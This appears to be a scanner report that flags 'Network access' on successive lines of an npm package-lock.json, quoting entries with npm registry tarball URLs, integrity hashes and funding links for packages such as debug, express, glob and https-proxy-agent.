"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - Network accessline 735
"node_modules/decompress-response": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - Network accessline 736
"version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", - Network accessline 737
"resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - Network accessline 745
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 746
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 747
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 750
"node_modules/deep-extend": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - Network accessline 751
"version": "0.6.0", "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - Network accessline 752
"resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - Network accessline 759
"node_modules/delegates": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - Network accessline 760
"version": "1.0.0", "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", - Network accessline 761
"resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - Network accessline 766
"node_modules/depd": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - Network accessline 767
"version": "2.0.0", "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - Network accessline 768
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - Network accessline 775
"node_modules/destroy": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - Network accessline 776
"version": "1.2.0", "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", - Network accessline 777
"resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - Network accessline 785
"node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - Network accessline 786
"version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - Network accessline 787
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - Network accessline 794
"node_modules/diff": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - Network accessline 795
"version": "4.0.2", "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", - Network accessline 796
"resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - Network accessline 804
"node_modules/dunder-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 805
"version": "1.0.1", "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - Network accessline 806
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - Network accessline 818
"node_modules/ee-first": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - Network accessline 819
"version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", - Network accessline 820
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - Network accessline 824
"node_modules/emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - Network accessline 825
"version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - Network accessline 826
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - Network accessline 831
"node_modules/encodeurl": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - Network accessline 832
"version": "2.0.0", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", - Network accessline 833
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - Network accessline 840
"node_modules/encoding": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", - Network accessline 841
"version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", - Network accessline 842
"resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", - Network accessline 850
"node_modules/encoding/node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 851
"version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - Network accessline 852
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 863
"node_modules/end-of-stream": { "version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - Network accessline 864
"version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", - Network accessline 865
"resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - Network accessline 872
"node_modules/env-paths": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", - Network accessline 873
"version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - Network accessline 874
"resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", - Network accessline 882
"node_modules/err-code": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", - Network accessline 883
"version": "2.0.3", "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", - Network accessline 884
"resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", - Network accessline 889
"node_modules/es-define-property": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 890
"version": "1.0.1", "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - Network accessline 891
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - Network accessline 898
"node_modules/es-errors": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 899
"version": "1.3.0", "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - Network accessline 900
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - Network accessline 907
"node_modules/es-object-atoms": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - Network accessline 908
"version": "1.1.1", "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - Network accessline 909
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - Network accessline 919
"node_modules/escape-html": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - Network accessline 920
"version": "1.0.3", "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - Network accessline 921
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - Network accessline 925
"node_modules/etag": { "version": "1.8.1", "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - Network accessline 926
"version": "1.8.1", "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - Network accessline 927
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - Network accessline 934
"node_modules/expand-template": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", - Network accessline 935
"version": "2.0.3", "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", - Network accessline 936
"resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", - Network accessline 943
"node_modules/express": { "version": "4.22.1", "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz", - Network accessline 944
"version": "4.22.1", "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz", "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==", - Network accessline 945
"resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz", - Network accessline 984
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 985
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 986
"url": "https://opencollective.com/express" - Network accessline 989
"node_modules/file-uri-to-path": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - Network accessline 990
"version": "1.0.0", "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", - Network accessline 991
"resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - Network accessline 995
"node_modules/finalhandler": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz", - Network accessline 996
"version": "1.3.2", "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz", "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==", - Network accessline 997
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz", - Network accessline 1013
"node_modules/forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - Network accessline 1014
"version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - Network accessline 1015
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - Network accessline 1022
"node_modules/fresh": { "version": "0.5.2", "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - Network accessline 1023
"version": "0.5.2", "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", - Network accessline 1024
"resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - Network accessline 1031
"node_modules/fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - Network accessline 1032
"version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", - Network accessline 1033
"resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - Network accessline 1037
"node_modules/fs-minipass": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - Network accessline 1038
"version": "2.1.0", "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", - Network accessline 1039
"resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - Network accessline 1049
"node_modules/fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - Network accessline 1050
"version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - Network accessline 1051
"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - Network accessline 1056
"node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 1057
"version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - Network accessline 1058
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 1060
"license": "MIT", "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1061
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1062
"url": "https://github.com/sponsors/ljharb" - Network accessline 1065
"node_modules/gauge": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", - Network accessline 1066
"version": "4.0.4", "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", - Network accessline 1067
"resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", - Network accessline 1086
"node_modules/get-intrinsic": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 1087
"version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - Network accessline 1088
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 1105
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1106
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1107
"url": "https://github.com/sponsors/ljharb" - Network accessline 1110
"node_modules/get-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 1111
"version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - Network accessline 1112
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 1123
"node_modules/github-from-package": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - Network accessline 1124
"version": "0.0.0", "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", - Network accessline 1125
"resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - Network accessline 1129
"node_modules/glob": { "version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - Network accessline 1130
"version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - Network accessline 1131
"resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - Network accessline 1146
}, "funding": { "url": "https://github.com/sponsors/isaacs" - Network accessline 1147
"funding": { "url": "https://github.com/sponsors/isaacs" } - Network accessline 1148
"url": "https://github.com/sponsors/isaacs" - Network accessline 1151
"node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 1152
"version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - Network accessline 1153
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 1158
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1159
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1160
"url": "https://github.com/sponsors/ljharb" - Network accessline 1163
"node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - Network accessline 1164
"version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - Network accessline 1165
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - Network accessline 1170
"node_modules/has-symbols": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 1171
"version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - Network accessline 1172
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 1177
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1178
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1179
"url": "https://github.com/sponsors/ljharb" - Network accessline 1182
"node_modules/has-unicode": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - Network accessline 1183
"version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", - Network accessline 1184
"resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - Network accessline 1189
"node_modules/hasown": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - Network accessline 1190
"version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - Network accessline 1191
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - Network accessline 1201
"node_modules/http-cache-semantics": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", - Network accessline 1202
"version": "4.2.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", - Network accessline 1203
"resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", - Network accessline 1208
"node_modules/http-errors": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - Network accessline 1209
"version": "2.0.1", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - Network accessline 1210
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - Network accessline 1223
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 1224
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 1225
"url": "https://opencollective.com/express" - Network accessline 1228
"node_modules/http-proxy-agent": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - Network accessline 1229
"version": "4.0.1", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", - Network accessline 1230
"resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - Network accessline 1243
"node_modules/http-proxy-agent/node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1244
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 1245
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1261
"node_modules/http-proxy-agent/node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1262
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 1263
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1268
"node_modules/https-proxy-agent": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - Network accessline 1269
"version": "5.0.1", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - Network accessline 1270
"resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - Network accessline 1282
"node_modules/https-proxy-agent/node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1283
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 1284
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 1300
"node_modules/https-proxy-agent/node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1301
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 1302
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 1307
"node_modules/humanize-ms": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - Network accessline 1308
"version": "1.2.1", "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", - Network accessline 1309
"resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", - Network accessline 1317
"node_modules/iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - Network accessline 1318
